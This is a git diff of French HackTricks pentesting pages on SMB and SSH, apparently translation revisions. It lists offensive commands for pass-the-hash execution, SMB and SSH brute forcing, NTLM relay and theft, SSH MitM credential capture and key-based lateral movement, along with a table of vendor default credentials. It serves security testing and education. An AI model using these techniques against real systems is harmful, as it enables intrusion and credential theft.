./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -421,27 +435,27 @@ Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### Surface d'attaque ksmbd et fuzzing du protocole SMB2/SMB3 (syzkaller)
### ksmbd attack surface et fuzzing du protocole SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce des identifiants d'utilisateurs**
## **Bruteforce users credentials**
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal d'essais autorisés**
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal de tentatives autorisées**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Cette attaque utilise le toolkit Responder pour **capture SMB authentication sessions** sur un réseau interne, puis **relays** ces sessions vers une **target machine**. Si la **session is successful**, cela ouvrira automatiquement un **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Cette attaque utilise le Responder toolkit pour capturer des sessions d'authentification SMB sur un réseau interne, et les relayer vers une machine cible. Si la session d'authentification est réussie, elle vous donnera automatiquement un shell système.\
[**Plus d'informations sur cette attaque ici.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
La bibliothèque Windows URLMon.dll tente automatiquement de s'authentifier auprès de l'hôte lorsqu'une page essaie d'accéder à du contenu via SMB, par exemple: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
@ -460,9 +474,9 @@ Which are used by some browsers and tools (like Skype)
## NTLM Theft
Similaire au SMB Trapping, le fait de déposer des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être cracké hors ligne ou utilisé dans une [SMB relay attack](#smb-relay-attack).
Similaire au SMB Trapping, le placement de fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être cracké hors ligne ou utilisé dans une [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Voir: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
@ -497,8 +511,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Références
- [NetExec (CME) wiki – utilisation de Kerberos](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) – configuration du client et dépannage](../pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

234
src/network-services-pentesting/pentesting-ssh.md
View File

@ -4,7 +4,7 @@
## Informations de base
**SSH (Secure Shell ou Secure Socket Shell)** est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.
**SSH (Secure Shell or Secure Socket Shell)** est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.
**Port par défaut :** 22
```
@ -12,43 +12,43 @@
```
**Serveurs SSH :**
- [openSSH](http://www.openssh.org) – OpenBSD SSH, inclus dans les distributions BSD, Linux et Windows depuis Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implémentation SSH pour des environnements avec peu de mémoire et de ressources processeur, inclus dans OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Implémentation SSH pour Windows, le client est couramment utilisé mais l'utilisation du serveur est plus rare
- [CopSSH](https://www.itefix.net/copssh) – Implémentation d'OpenSSH pour Windows
- [openSSH](http://www.openssh.org) – OpenBSD SSH, fourni dans BSD, les distributions Linux et Windows depuis Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implémentation SSH pour environnements à faibles ressources mémoire et processeur, fournie dans OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implémentation SSH pour Windows ; le client est couramment utilisé mais l'usage du serveur est plus rare
- [CopSSH](https://www.itefix.net/copssh) – implémentation d'OpenSSH pour Windows
**Bibliothèques SSH (implémentant côté serveur) :**
**Bibliothèques SSH (implémentant la partie serveur) :**
- [libssh](https://www.libssh.org) – Bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des liaisons en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) et [R](https://github.com/ropensci/ssh); elle est utilisée par KDE pour sftp et par GitHub pour l'infrastructure git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Bibliothèque de serveur SSHv2 écrite en ANSI C et ciblée pour des environnements embarqués, RTOS et à ressources limitées
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – La bibliothèque java Apache SSHD est basée sur Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – Bibliothèque de protocole SSHv2 en Python
- [libssh](https://www.libssh.org) – bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des bindings en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) et [R](https://github.com/ropensci/ssh) ; elle est utilisée par KDE pour sftp et par GitHub pour l'infrastructure git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – bibliothèque serveur SSHv2 écrite en ANSI C et destinée aux environnements embarqués, RTOS et à ressources limitées
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – la bibliothèque Java Apache SSHD est basée sur Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – bibliothèque Python du protocole SSHv2
## Énumération
### Récupération de bannière
### Banner Grabbing
```bash
nc -vn <IP> 22
```
### Audit ssh automatisé
### ssh-audit automatisé
ssh-audit est un outil pour l'audit de la configuration des serveurs et clients ssh.
ssh-audit est un outil d'audit de configuration pour serveurs et clients ssh.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) est un fork mis à jour de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Fonctionnalités :**
- Support des serveurs de protocole SSH1 et SSH2 ;
- prise en charge des serveurs utilisant les protocoles SSH1 et SSH2 ;
- analyser la configuration du client SSH ;
- récupérer la bannière, reconnaître l'appareil ou le logiciel et le système d'exploitation, détecter la compression ;
- rassembler les algorithmes d'échange de clés, de clé hôte, de chiffrement et de code d'authentification de message ;
- afficher les informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sécurisé/faible/ancien, etc.) ;
- afficher les recommandations sur les algorithmes (ajouter ou supprimer en fonction de la version du logiciel reconnue) ;
- afficher les informations de sécurité (problèmes liés, liste CVE assignée, etc.) ;
- analyser la compatibilité des versions SSH en fonction des informations sur les algorithmes ;
- informations historiques d'OpenSSH, Dropbear SSH et libssh ;
- rassembler les algorithmes d'échange de clés, host-key, chiffrement et message authentication code ;
- afficher des informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sûr/faible/obsolète, etc.) ;
- afficher des recommandations d'algorithmes (ajouter ou supprimer selon la version du logiciel reconnue) ;
- afficher des informations de sécurité (problèmes liés, liste des CVE assignés, etc.) ;
- analyser la compatibilité des versions SSH en se basant sur les informations des algorithmes ;
- informations historiques provenant de OpenSSH, Dropbear SSH et libssh ;
- fonctionne sur Linux et Windows ;
- aucune dépendance
- sans dépendances
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Voir en action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Clé SSH publique du serveur
```bash
@ -77,9 +77,9 @@ ssh-keyscan -t rsa <IP> -p <PORT>
```
### Algorithmes de chiffrement faibles
Cela est découvert par défaut par **nmap**. Mais vous pouvez également utiliser **sslcan** ou **sslyze**.
Cela est détecté par défaut par **nmap**. Mais vous pouvez aussi utiliser **sslcan** ou **sslyze**.
### Scripts Nmap
### Nmap scripts
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -91,115 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Force brute des noms d'utilisateur, mots de passe et clés privées
## Brute force usernames, passwords and private keys
### Énumération des noms d'utilisateur
### Username Enumeration
Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit pour exploiter cela :
Dans certaines versions d'OpenSSH, vous pouvez réaliser une timing attack pour enumerate users. Vous pouvez utiliser un module metasploit pour exploiter ceci :
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
Quelques identifiants ssh courants [ici](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) et [ici](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) et ci-dessous.
Quelques identifiants ssh courants [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) et [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) et ci-dessous.
### Force brute de clé privée
### Private Key Brute Force
Si vous connaissez certaines clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :
Si vous connaissez des ssh private keys qui pourraient être utilisées... tentons. Vous pouvez utiliser le script nmap:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Ou le module auxiliaire MSF :
Ou le module auxiliaire MSF:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Ou utilisez `ssh-keybrute.py` (python3 natif, léger et avec des algorithmes hérités activés) : [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Ou utilisez `ssh-keybrute.py` (python3 natif, léger et avec les algorithmes legacy activés) : [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Les badkeys connues se trouvent ici :
#### Des clés mauvaises connues peuvent être trouvées ici :
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Clés SSH faibles / PRNG prévisible Debian
#### Clés SSH faibles / PRNG prévisible sur Debian
Certains systèmes ont des défauts connus dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction dramatique de l'espace de clés qui peut être bruteforcé. Des ensembles de clés pré-générées générées sur des systèmes Debian affectés par un PRNG faible sont disponibles ici : [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer le matériel cryptographique. Cela peut conduire à un espace de clés drastiquement réduit, susceptible d'être bruteforcé. Des jeux de clés pré-générés, produits sur des systèmes Debian affectés par un PRNG faible, sont disponibles ici : [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Vous devriez regarder ici pour rechercher des clés valides pour la machine victime.
Vous devriez consulter ces ressources pour rechercher des clés valides pour la machine cible.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** utilisant le protocole `ssh` peut utiliser l'option `--kerberos` pour **s'authentifier via kerberos**.\
Pour plus d'infos, exécutez `crackmapexec ssh --help`.
Si le serveur SSH cible prend en charge GSSAPI (par exemple Windows OpenSSH sur un contrôleur de domaine), vous pouvez vous authentifier en utilisant votre Kerberos TGT au lieu d'un mot de passe.
Flux de travail depuis un hôte attaquant Linux :
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Remarques:
- Si vous vous connectez avec le mauvais nom (par ex., nom court, alias, ou mauvais ordre dans `/etc/hosts`), vous pouvez obtenir : "Server not found in Kerberos database" parce que le SPN ne correspond pas.
- `crackmapexec ssh --kerberos` peut aussi utiliser votre ccache pour Kerberos auth.
## Identifiants par défaut
| **Fournisseur** | **Noms d'utilisateur** | **Mots de passe** |
| ---------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| --------------- | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
Si vous êtes sur le réseau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pourriez essayer de **réaliser une attaque MitM pour voler ces identifiants :**
Si vous êtes sur le réseau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pouvez essayer de **réaliser une attaque MitM pour voler ces identifiants :**
**Chemin d'attaque :**
- **Redirection de trafic :** L'attaquant **détourne** le trafic de la victime vers sa machine, interceptant ainsi **la tentative de connexion** au serveur SSH.
- **Interception et journalisation :** La machine de l'attaquant agit comme un **proxy**, **capturant** les détails de connexion de l'utilisateur en prétendant être le serveur SSH légitime.
- **Exécution de commandes et relais :** Enfin, le serveur de l'attaquant **enregistre les identifiants de l'utilisateur**, **transmet les commandes** au véritable serveur SSH, **les exécute**, et **renvoie les résultats** à l'utilisateur, rendant le processus apparemment fluide et légitime.
- **Redirection du trafic :** L'attaquant **détourne** le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
- **Interception et journalisation :** La machine de l'attaquant joue le rôle de **proxy**, **capturant** les identifiants de connexion de l'utilisateur en se faisant passer pour le serveur SSH légitime.
- **Exécution de commandes et relais :** Enfin, le serveur de l'attaquant **enregistre les identifiants**, **transmet les commandes** au vrai serveur SSH, les **exécute**, et **renvoie les résultats** à l'utilisateur, rendant le processus transparent et légitime.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fait exactement ce qui est décrit ci-dessus.
Pour capturer et réaliser le MitM réel, vous pourriez utiliser des techniques comme le spoofing ARP, le spoofing DNS ou d'autres décrites dans les [**attaques de spoofing réseau**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Pour effectuer le MitM proprement dit, vous pouvez utiliser des techniques comme ARP spoofing, DNS spoofin ou d'autres décrites dans les [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour de nouveaux hôtes, alors [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) est ce dont vous avez besoin.
Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour accéder à de nouveaux hôtes, alors [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) est ce qu'il vous faut.
SSH-Snake effectue automatiquement et de manière récursive les tâches suivantes :
1. Sur le système actuel, trouver toutes les clés privées SSH,
2. Sur le système actuel, trouver tous les hôtes ou destinations (user@host) que les clés privées peuvent accepter,
3. Tenter de SSH dans toutes les destinations en utilisant toutes les clés privées découvertes,
1. Sur le système courant, trouver toutes les clés privées SSH,
2. Sur le système courant, trouver tous les hôtes ou destinations (user@host) où les clés privées peuvent être acceptées,
3. Tenter de SSH vers toutes les destinations en utilisant toutes les clés privées découvertes,
4. Si une destination est connectée avec succès, répéter les étapes #1 - #4 sur le système connecté.
C'est complètement auto-réplicant et auto-propagant -- et complètement sans fichier.
C'est entièrement auto-réplicatif et auto-propagatif — et totalement fileless.
## Mauvaises configurations
### Connexion root
Il est courant que les serveurs SSH permettent la connexion de l'utilisateur root par défaut, ce qui pose un risque de sécurité significatif. **Désactiver la connexion root** est une étape critique pour sécuriser le serveur. L'accès non autorisé avec des privilèges administratifs et les attaques par force brute peuvent être atténués en effectuant ce changement.
Il est courant que les serveurs SSH autorisent la connexion du user root par défaut, ce qui constitue un risque de sécurité important. **Désactiver la connexion root** est une étape critique pour sécuriser le serveur. L'accès non autorisé avec des privilèges administratifs et les attaques par brute force peuvent être atténués en appliquant ce changement.
**Pour désactiver la connexion root dans OpenSSH :**
Pour désactiver la connexion root dans OpenSSH :
1. **Éditez le fichier de configuration SSH** avec : `sudoedit /etc/ssh/sshd_config`
2. **Changez le paramètre** de `#PermitRootLogin yes` à **`PermitRootLogin no`**.
1. **Éditez le fichier de config SSH** avec : `sudoedit /etc/ssh/sshd_config`
2. **Changez la ligne** de `#PermitRootLogin yes` à **`PermitRootLogin no`**.
3. **Rechargez la configuration** en utilisant : `sudo systemctl daemon-reload`
4. **Redémarrez le serveur SSH** pour appliquer les changements : `sudo systemctl restart sshd`
### Force brute SFTP
### SFTP Brute Force
- [**Force brute SFTP**](../generic-hacking/brute-force.md#sftp)
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Exécution de commandes SFTP
### Exécution de commandes via SFTP
Il y a une négligence courante qui se produit avec les configurations SFTP, où les administrateurs ont l'intention que les utilisateurs échangent des fichiers sans activer l'accès shell à distance. Malgré le fait de configurer les utilisateurs avec des shells non interactifs (par exemple, `/usr/bin/nologin`) et de les confiner à un répertoire spécifique, une faille de sécurité demeure. **Les utilisateurs peuvent contourner ces restrictions** en demandant l'exécution d'une commande (comme `/bin/bash`) immédiatement après s'être connectés, avant que leur shell non interactif désigné ne prenne le relais. Cela permet l'exécution non autorisée de commandes, sapant les mesures de sécurité prévues.
Il existe une erreur courante dans les configurations SFTP, où les administrateurs veulent que les utilisateurs échangent des fichiers sans activer l'accès shell distant. Malgré le fait d'attribuer aux utilisateurs des shells non-interactifs (par ex., `/usr/bin/nologin`) et de les confiner à un répertoire spécifique, une faille de sécurité subsiste. **Les utilisateurs peuvent contourner ces restrictions** en demandant l'exécution d'une commande (comme `/bin/bash`) immédiatement après la connexion, avant que leur shell non-interactif ne prenne effet. Cela permet une exécution de commandes non autorisée, sapant les mesures de sécurité prévues.
[Exemple d'ici](https://community.turgensec.com/ssh-hacking-guide/):
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -222,7 +242,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
Voici un exemple de configuration SFTP sécurisée (`/etc/ssh/sshd_config` – openSSH) pour l'utilisateur `noraj` :
Voici un exemple de configuration SFTP sécurisée (`/etc/ssh/sshd_config` – openSSH) pour l'utilisateur `noraj`:
```
Match User noraj
ChrootDirectory %h
@ -232,19 +252,19 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Cette configuration permettra uniquement SFTP : désactivation de l'accès shell en forçant la commande de démarrage et désactivation de l'accès TTY, mais également désactivation de tout type de transfert de port ou de tunneling.
Cette configuration autorisera uniquement SFTP : elle désactive l'accès shell en forçant la commande de démarrage et l'accès TTY, tout en bloquant tout type de port forwarding ou tunneling.
### SFTP Tunneling
Si vous avez accès à un serveur SFTP, vous pouvez également faire passer votre trafic à travers cela, par exemple en utilisant le transfert de port commun :
Si vous avez accès à un serveur SFTP, vous pouvez également acheminer votre trafic via celui-ci, par exemple en utilisant le port forwarding classique :
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
Le **sftp** a la commande "**symlink**". Par conséquent, si vous avez des **droits d'écriture** dans un dossier, vous pouvez créer des **symlinks** d'**autres dossiers/fichiers**. Comme vous êtes probablement **piégé** dans un chroot, cela **ne sera pas particulièrement utile** pour vous, mais, si vous pouvez **accéder** au **symlink** créé depuis un **service** **no-chroot** (par exemple, si vous pouvez accéder au symlink depuis le web), vous pourriez **ouvrir les fichiers liés par le symlink via le web**.
Le **sftp** possède la commande "**symlink**". Par conséquent, si vous avez des **droits d'écriture** dans un dossier, vous pouvez créer des **symlinks** de **d'autres dossiers/fichiers**. Comme vous êtes probablement **confiné** à l'intérieur d'un **chroot**, cela **ne vous sera pas particulièrement utile**, mais, si vous pouvez **accéder** au **symlink** créé depuis un **no-chroot** **service** (par exemple, si vous pouvez accéder au symlink depuis le web), vous pourriez **ouvrir les fichiers pointés par le symlink via le web**.
Par exemple, pour créer un **symlink** d'un nouveau fichier **"**_**froot**_**" vers "**_**/**_**"**:
Par exemple, pour créer un **symlink** depuis un nouveau fichier **"**_**froot**_**" vers "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -252,22 +272,22 @@ Si vous pouvez accéder au fichier "_froot_" via le web, vous pourrez lister le
### Méthodes d'authentification
Dans un environnement à haute sécurité, il est courant d'activer uniquement l'authentification par clé ou l'authentification à deux facteurs plutôt que l'authentification simple par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les plus faibles. Un cas fréquent est l'activation de `publickey` dans la configuration openSSH et son paramétrage en tant que méthode par défaut sans désactiver `password`. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode plus faible est activée :
Dans un environnement hautement sécurisé, il est courant d'activer uniquement l'authentification basée sur des clés ou l'authentification à deux facteurs plutôt que la simple authentification par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les méthodes moins sûres. Un cas fréquent est d'activer `publickey` dans la configuration openSSH et de le définir comme méthode par défaut sans désactiver `password`. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode moins sûre est activée :
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Par exemple, si une limite d'échec d'authentification est définie et que vous n'avez jamais la chance d'atteindre la méthode de mot de passe, vous pouvez utiliser l'option `PreferredAuthentications` pour forcer l'utilisation de cette méthode.
Par exemple, si une limite d'échecs d'authentification est définie et que vous n'avez jamais l'occasion d'atteindre la méthode password, vous pouvez utiliser l'option `PreferredAuthentications` pour forcer l'utilisation de cette méthode.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Vérifier la configuration du serveur SSH est nécessaire pour s'assurer que seules les méthodes attendues sont autorisées. Utiliser le mode verbeux sur le client peut aider à voir l'efficacité de la configuration.
Il est nécessaire d'examiner la configuration du serveur SSH pour vérifier que seules les méthodes attendues sont autorisées. L'utilisation du mode verbeux côté client peut aider à évaluer l'efficacité de la configuration.
### Config files
### Fichiers de configuration
```bash
ssh_config
sshd_config
@ -281,22 +301,22 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Contournement de la machine d'état d'authentification (RCE pré-auth)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Plusieurs implémentations de serveurs SSH contiennent des défauts logiques dans la **machine d'état finie d'authentification** qui permettent à un client d'envoyer des messages *de protocole de connexion* **avant** que l'authentification ne soit terminée. Comme le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entièrement authentifié, ce qui conduit à une **exécution de code non authentifiée** ou à la création de sessions.
Plusieurs implémentations de serveurs SSH présentent des défauts logiques dans la **authentication finite-state machine** qui permettent à un client d'envoyer des messages *connection-protocol* **avant** la fin de l'authentification. Parce que le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entièrement authentifié, conduisant à **unauthenticated code execution** ou à la création de session.
Au niveau du protocole, tout message SSH avec un _code de message_ **≥ 80** (0x50) appartient à la couche *connexion* (RFC 4254) et doit **être accepté uniquement après une authentification réussie** (RFC 4252). Si le serveur traite l'un de ces messages tout en étant encore dans l'état *SSH_AUTHENTICATION*, l'attaquant peut immédiatement créer un canal et demander des actions telles que l'exécution de commandes, le transfert de ports, etc.
